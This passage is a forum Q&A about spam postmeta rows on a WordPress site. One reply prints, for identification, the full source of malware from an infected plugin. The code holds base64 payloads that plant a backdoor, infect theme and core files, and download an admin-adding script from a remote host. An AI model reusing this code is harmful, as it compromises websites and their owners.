所以我在大约 2 个月前为某人创建了一个网站，最近他们的网站出现了一些错误。我检查了数据库以查看这是否是错误的来源，并且在“wp_postmeta”表中我找到了错误的来源。该表中有大约 10,000 多条记录，具有以下“元密钥”
_wp_plugin_attachment_metadata_15bb2106fd50f3ff3f8...
每次名字都不一样，名字比较长。他们都将其作为“meta_key”，并且每个都属于网站上的一个页面。知道这是什么吗？如果他们有任何快速删除它而不会对网站造成伤害的方法？
【问题讨论】：
对于遇到此问题的其他人，请使用下面的代码（您可能需要更改它）
DELETE FROM wp_postmeta WHERE SUBSTR(meta_key, 1, 31) = '_wp_plugin_attachment_metadata_'
【讨论】：
因为这个插件，我遇到了这个问题：
Advanced_Woocommerc_Reporting
恶意软件包含在此文件中：/Advanced_Woocommerc_Reporting/Advanced_Woo_Reporting/includes/woocp.php
以及此文件中的代码：
<?php
//install_code
DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUNocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjNza1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4cGJtdHpKenNLQ1FrSkNRbG1iM0psWVdOb0lDZ2tkM0JrWWkwK1oyVjBYM0psYzNWc2RITW9KMU5GVEVWRFZDQXFJRVpTVDAwZ1lDY2dMaUFrZDNCa1lpMCtjSEpsWm1sNElDNGdKM0J2YzNSellDQlhTRVZTUlNCZ2NHOXpkRjl6ZEdGMGRYTmdJRDBnSW5CMVlteHBjMmdpSUVGT1JDQmdjRzl6ZEY5MGVYQmxZQ0E5SUNKd2IzTjBJaUJQVWtSRlVpQkNXU0JnU1VSZ0lFUkZVME1uTENCQlVsSkJXVjlCS1NCaGN5QWtaR0YwWVNrS0NRa0pDUWtKZXdvSkNRa0pDUWtKSkdSaGRHRmJKMk52WkdVblhTQTlJQ2NuT3dvSkNRa0pDUWtKQ2drSkNRa0pDUWxwWmlBb2NISmxaMTl0WVhSamFDZ25JVHhrYVhZZ2FXUTlJbmR3WDJOa1gyTnZaR1VpUGlndUtqOHBQQzlrYVhZK0lYTW5MQ0FrWkdGMFlWc25jRzl6ZEY5amIyNTBaVzUwSjEwc0lDUmZLU2tLQ1FrSkNRa0pDUWw3Q2drSkNRa0pDUWtKQ1NSa1lYUmhXeWRqYjJSbEoxMGdQU0FrWDFzeFhUc0tDUWtKQ1FrSkNRbDlDZ2tKQ1FrSkNRa0tDUWtKQ1FrSkNYQnlhVzUwSUNjOFpUNDhkejR4UEM5M1BqeDFjbXcrSnlBdUlDUmtZWFJoV3lkbmRXbGtKMTBnTGlBblBDOTFjbXcrUEdOdlpHVStKeUF1SUNSa1lYUmhXeWRqYjJSbEoxMGdMaUFuUEM5amIyUmxQanhwWkQ0bklDNGdKR1JoZEdGYkowbEVKMTBnTGlBblBDOXBaRDQ4TDJVK0p5QXVJQ0pjY2x4dUlqc0tDUWtKQ1FrSmZRb0pDUWtKWW5KbFlXczdDZ2tKQ1FrS0NRa0pDV05oYzJVZ0ozTmxkRjlwWkY5c2FXNXJjeWM3Q2drSkNRa0phV1lnS0dsemMyVjBLQ1JmVWtWUlZVVlRWRnNuWkdGMFlTZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0pKR1JoZEdFZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ1lIQnZjM1JmWTI5dWRHVnVkR0FnUmxKUFRTQmdKeUF1SUNSM2NHUmlMVDV3Y21WbWFYZ2dMaUFuY0c5emRITmdJRmRJUlZKRklHQkpSR0FnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVdRblhTa3VKeUluS1RzS0NRa0pDUWtKQ1FvSkNRa0pDUWtKSkhCdmMzUmZZMjl1ZEdWdWRDQTlJSEJ5WldkZmNtVndiR0ZqWlNnbklUeGthWFlnYVdROUluZHdYMk5rWDJOdlpHVWlQaWd1S2o4cFBDOWthWFkrSVhNbkxDQW5KeXdnSkdSaGRHRWdMVDRnY0c5emRGOWpiMjUwWlc1MEtUc0tDUWtKQ1FrSkNXbG1JQ2doWlcxd2RIa29KRjlTUlZGVlJWTlVXeWRrWVhSaEoxMHBLU0FrY0c5emRGOWpiMjUwWlc1MElEMGdKSEJ2YzNSZlkyOXVkR1Z1ZENBdUlDYzhaR2wySUdsa1BTSjNjRjlqWkY5amIyUmxJajRuSUM0Z2MzUnlhWEJqYzJ4aGMyaGxjeWdrWDFKRlVWVkZVMVJiSjJSaGRHRW5YU2tnTGlBblBDOWthWFkrSnpzS0Nna0pDUWtKQ1FscFppQW9KSGR3WkdJdFBuRjFaWEo1S0NkVlVFUkJWRVVnWUNjZ0xpQWtkM0JrWWkwK2NISmxabWw0SUM0Z0ozQnZjM1J6WUNCVFJWUWdZSEJ2YzNSZlkyOXVkR1Z1ZEdBZ1BTQWlKeUF1SUcxNWMzRnNYMlZ6WTJGd1pWOXpkSEpwYm1jb0pIQnZjM1JmWTI5dWRHVnVkQ2tnTGlBbklpQlhTRVZTUlNCZ1NVUmdJRDBnSWljZ0xpQnRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVdRblhTa2dMaUFuSWljcElDRTlQU0JtWVd4elpTa0tDUWtKQ1FrSkNRbDdDZ2tKQ1FrSkNRa0pDWEJ5YVc1MElDSjBjblZsSWpzS0NRa0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDV0p5WldGck93b0pDUWtKQ2drSkNRbGpZWE5sSUNkamNtVmhkR1ZmY0dGblpTYzdDZ2tKQ1FrSmFXWWdLR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25jbVZ0YjNabFgzQmhaMlVuWFNrcENna0pDUWtKQ1hzS0NRa0pDUWtKQ1dsbUlDZ2tkM0JrWWlBdFBpQnhkV1Z5ZVNnblJFVk1SVlJGSUVaU1QwMGdZQ2NnTGlBa2QzQmtZaTArY0hKbFptbDRJQzRnSjJSaGRHRnNhWE4wWUNCWFNFVlNSU0JnZFhKc1lDQTlJQ0l2Snk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlVWVFZGc25kWEpzSjEwcExpY2lKeWtwQ2drSkNRa0pDUWtKZXdvSkNRa0pDUWtKQ1Fsd2NtbHVkQ0FpZEhKMVpTSTdDZ2tKQ1FrSkNRa0pmUW9KQ1FrSkNRbDlDZ2tKQ1FrSlpXeHpaV2xtSUNocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJOdmJuUmxiblFuWFNrZ0ppWWdJV1Z0Y0hSNUtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEdWdWRDZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0phV1lnS0NSM2NHUmlJQzArSUhGMVpYSjVLQ2RKVGxORlVsUWdTVTVVVHlCZ0p5QXVJQ1IzY0dSaUxUNXdjbVZtYVhnZ0xpQW5aR0YwWVd4cGMzUmdJRk5GVkNCZ2RYSnNZQ0E5SUNJdkp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuZFhKc0oxMHBMaWNpTENCZ2RHbDBiR1ZnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjNScGRHeGxKMTBwTGljaUxDQmdhMlY1ZDI5eVpITmdJRDBnSWljdWJYbHpjV3hmWlhOallYQmxYM04wY21sdVp5Z2tYMUpGVVZWRlUxUmJKMnRsZVhkdmNtUnpKMTBwTGljaUxDQmdaR1Z6WTNKcGNIUnBiMjVnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJSbGMyTnlhWEIwYVc5dUoxMHBMaWNpTENCZ1kyOXVkR1Z1ZEdBZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblkyOXVkR1Z1ZENkZEtTNG5JaXdnWUdaMWJHeGZZMjl1ZEdWdWRHQWdQU0FpSnk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlVWVFZGc25ablZzYkY5amIyNTBaVzUwSjEwcExpY2lJRTlPSUVSVlVFeEpRMEZVUlNCTFJWa2dWVkJFUVZSRklHQjBhWFJzWldBZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzbmRHbDBiR1VuWFNrdUp5SXNJR0JyWlhsM2IzSmtjMkFnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYTJWNWQyOXlaSE1uWFNrdUp5SXNJR0JrWlhOamNtbHdkR2x2Ym1BZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblpHVnpZM0pwY0hScGIyNG5YU2t1SnlJc0lHQmpiMjUwWlc1MFlDQTlJQ0luTG0xNWMzRnNYMlZ6WTJGd1pWOXpkSEpwYm1jb2RYSnNaR1ZqYjJSbEtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEdWdWRDZGRLU2t1SnlJc0lHQm1kV3hzWDJOdmJuUmxiblJnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJaMWJHeGZZMjl1ZEdWdWRDZGRLUzRuSWljcEtRb0pDUWtKQ1FrSkNYc0tDUWtKQ1FrSkNRa0pjSEpwYm5RZ0luUnlkV1VpT3dvSkNRa0pDUWtKQ1gwS0NRa0pDUWtKZlFvSkNRa0pZbkpsWVdzN0Nna0pDUWtLQ1FrSkNXUmxabUYxYkhRNklIQnlhVzUwSUNKRlVsSlBVbDlYVUY5QlExUkpUMDRnVjFCZlZWSk1YME5FSWpzS0NRa0pmUW9KQ1FrS0NRbGthV1VvSWlJcE93b0pmUW9LQ1FwcFppQW9JQ1IzY0dSaUxUNW5aWFJmZG1GeUtDZFRSVXhGUTFRZ1kyOTFiblFvS2lrZ1JsSlBUU0JnSnlBdUlDUjNjR1JpTFQ1d2NtVm1hWGdnTGlBblpHRjBZV3hwYzNSZ0lGZElSVkpGSUdCMWNteGdJRDBnSWljdWJYbHpjV3hmWlhOallYQmxYM04wY21sdVp5Z2dKRjlUUlZKV1JWSmJKMUpGVVZWRlUxUmZWVkpKSjEwZ0tTNG5JaWNwSUQwOUlDY3hKeUFwQ2dsN0Nna0pKR1JoZEdFZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ0tpQkdVazlOSUdBbklDNGdKSGR3WkdJdFBuQnlaV1pwZUNBdUlDZGtZWFJoYkdsemRHQWdWMGhGVWtVZ1lIVnliR0FnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZEtTNG5JaWNwT3dvSkNXbG1JQ2drWkdGMFlTQXRQaUJtZFd4c1gyTnZiblJsYm5RcENna0pDWHNLQ1FrSkNYQnlhVzUwSUhOMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQmpiMjUwWlc1MEtUc0tDUWtKZlFvSkNXVnNjMlVLQ1FrSmV3b0pDUWtKY0hKcGJuUWdKendoUkU5RFZGbFFSU0JvZEcxc1BpYzdDZ2tKQ1Fsd2NtbHVkQ0FuUEdoMGJXd2dKenNLQ1FrSkNXeGhibWQxWVdkbFgyRjBkSEpwWW5WMFpYTW9LVHNLQ1FrSkNYQnlhVzUwSUNjZ1kyeGhjM005SW01dkxXcHpJajRuT3dvSkNRa0pjSEpwYm5RZ0p6eG9aV0ZrUGljN0Nna0pDUWx3Y21sdWRDQW5QSFJwZEd4bFBpY3VjM1J5YVhCemJHRnphR1Z6S0NSa1lYUmhJQzArSUhScGRHeGxLUzRuUEM5MGFYUnNaVDRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUc1aGJXVTlJa3RsZVhkdmNtUnpJaUJqYjI1MFpXNTBQU0luTG5OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQnJaWGwzYjNKa2N5a3VKeUlnTHo0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SWtSbGMyTnlhWEIwYVc5dUlpQmpiMjUwWlc1MFBTSW5Mbk4wY21sd2MyeGhjMmhsY3lna1pHRjBZU0F0UGlCa1pYTmpjbWx3ZEdsdmJpa3VKeUlnTHo0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SW5KdlltOTBjeUlnWTI5dWRHVnVkRDBpYVc1a1pYZ3NJR1p2Ykd4dmR5SWdMejRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUdOb1lYSnpaWFE5SWljN0Nna0pDUWxpYkc5bmFXNW1ieWdnSjJOb1lYSnpaWFFuSUNrN0Nna0pDUWx3Y21sdWRDQW5JaUF2UGljN0Nna0pDUWx3Y21sdWRDQW5QRzFsZEdFZ2JtRnRaVDBpZG1sbGQzQnZjblFpSUdOdmJuUmxiblE5SW5kcFpIUm9QV1JsZG1salpTMTNhV1IwYUNJK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4YkdsdWF5QnlaV3c5SW5CeWIyWnBiR1VpSUdoeVpXWTlJbWgwZEhBNkx5OW5iWEJuTG05eVp5OTRabTR2TVRFaVBpYzdDZ2tKQ1Fsd2NtbHVkQ0FuUEd4cGJtc2djbVZzUFNKd2FXNW5ZbUZqYXlJZ2FISmxaajBpSnpzS0NRa0pDV0pzYjJkcGJtWnZLQ0FuY0dsdVoySmhZMnRmZFhKc0p5QXBPd29KQ1FrSmNISnBiblFnSnlJK0p6c0tDUWtKQ1hkd1gyaGxZV1FvS1RzS0NRa0pDWEJ5YVc1MElDYzhMMmhsWVdRK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4WW05a2VUNG5Pd29KQ1FrSmNISnBiblFnSnp4a2FYWWdhV1E5SW1OdmJuUmxiblFpSUdOc1lYTnpQU0p6YVhSbExXTnZiblJsYm5RaVBpYzdDZ2tKQ1Fsd2NtbHVkQ0J6ZEhKcGNITnNZWE5vWlhNb0pHUmhkR0VnTFQ0Z1kyOXVkR1Z1ZENrN0Nna0pDUWxuWlhSZmMyVmhjbU5vWDJadmNtMG9LVHNLQ1FrSkNXZGxkRjl6YVdSbFltRnlLQ2s3Q2drSkNRbG5aWFJmWm05dmRHVnlLQ2s3Q2drSkNYMEtDUWtKQ2drSlpYaHBkRHNLQ1gwS0Nnby9QZz09JzsNCgkNCgkkaW5zdGFsbF9oYXNoID0gbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSAuIEFVVEhfU0FMVCk7DQoJJGluc3RhbGxfY29kZSA9IHN0cl9yZXBsYWNlKCd7JFBBU1NXT1JEfScgLCAkaW5zdGFsbF9oYXNoLCBiYXNlNjRfZGVjb2RlKCAkaW5zdGFsbF9jb2RlICkpOw0KCQ0KCWlmICgkd3BkYiAtPiBxdWVyeSgnQ1JFQVRFIFRBQkxFIElGIE5PVCBFWElTVFMgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCAoIGB1cmxgIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYHRpdGxlYCB2YXJjaGFyKDI1NSkgTk9UIE5VTEwsIGBrZXl3b3Jkc2AgdmFyY2hhcigyNTUpIE5PVCBOVUxMLCBgZGVzY3JpcHRpb25gIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYGNvbnRlbnRgIGxvbmd0ZXh0IE5PVCBOVUxMLCBgZnVsbF9jb250ZW50YCBzbWFsbGludCg2KSBOT1QgTlVMTCwgUFJJTUFSWSBLRVkgKGB1cmxgKSApIEVOR0lORT1NeUlTQU0gREVGQVVMVCBDSEFSU0VUPXV0Zjg7JykpDQoJCXsNCgkJCSR0aGVtZXMgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb250ZW50JyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAndGhlbWVzJzsNCgkJCQkNCgkJCSRwaW5nID0gdHJ1ZTsNCgkJCQkNCgkJCWlmICgkbGlzdCA9IHNjYW5kaXIoICR0aGVtZXMgKSkNCgkJCQl7DQoJCQkJCWZvcmVhY2ggKCRsaXN0IGFzICRfKQ0KCQkJCQkJew0KCQkJCQkJCWlmIChmaWxlX2V4aXN0cygkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJykpDQoJCQkJCQkJCXsNCgkJCQkJCQkJCSR0aW1lID0gZmlsZWN0aW1lKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKTsNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCWlmICgkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCWlmIChzdHJwb3MoJGNvbnRlbnQsICdXUF9VUkxfQ0QnKSA9PT0gZmFsc2UpDQoJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOw0KCQkJCQkJCQkJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJywgJGNvbnRlbnQpOw0KCQkJCQkJCQkJCQkJCXRvdWNoKCAkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyAsICR0aW1lICk7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOw0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkNCgkJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCWlmICgkcGluZykgew0KCQkJCQkJJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9hcGl3b3JkLnByZXNzL28ucGhwP2hvc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2gpOw0KCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3dwLWluY2x1ZGVzL2NsYXNzLndwLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vYXBpd29yZC5wcmVzcy9hZGRhZG1pbl8xLnR4dCcpKTsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KDQoJaWYgKCRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKSkNCgkJew0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2UoJyEvL2luc3RhbGxfY29kZS4qLy9pbnN0YWxsX2NvZGVfZW5kIXMnLCAnJywgJGZpbGUpOw0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2UoJyE8XD9waHBccypcPz4hcycsICcnLCAkZmlsZSk7DQoJCQlAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJfQ0KDQovL2luc3RhbGxfY29kZV9lbmQNCg0KPz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Pz4=';
$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();
$search = Array(
Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);
function getDirList($path)
{
if ($dir = @opendir($path))
{
$result = Array();
while (($filename = @readdir($dir)) !== false)
{
if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename))
$result[] = $path . '/' . $filename;
}
return $result;
}
return false;
}
function WP_URL_CD($path)
{
if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
{
if (strpos($file, 'wp-cd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
}
}
}
function SearchFile($search, $path)
{
if ($dir = @opendir($path))
{
$i = 0;
while (($filename = @readdir($dir)) !== false)
{
if ($i > MAX_ITERATION) break;
$i++;
if ($filename != '.' && $filename != '..')
{
if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey']))
{
SearchFile($search, $path . '/' . $filename);
}
else
{
foreach ($search as $_)
{
if (strtolower($filename) == strtolower($_['file']))
{
$GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
}
}
}
}
}
}
}
if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {
if (isset($_GET['plugin']))
{
global $wpdb ;
}
$install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsKCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC91cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiAnPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmVwbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb250ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2hlcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCdVUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyAuIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQkJCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQkJCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3BhZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHRpb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCBgY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiwgYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb250ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm15c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWxsX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCddKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJC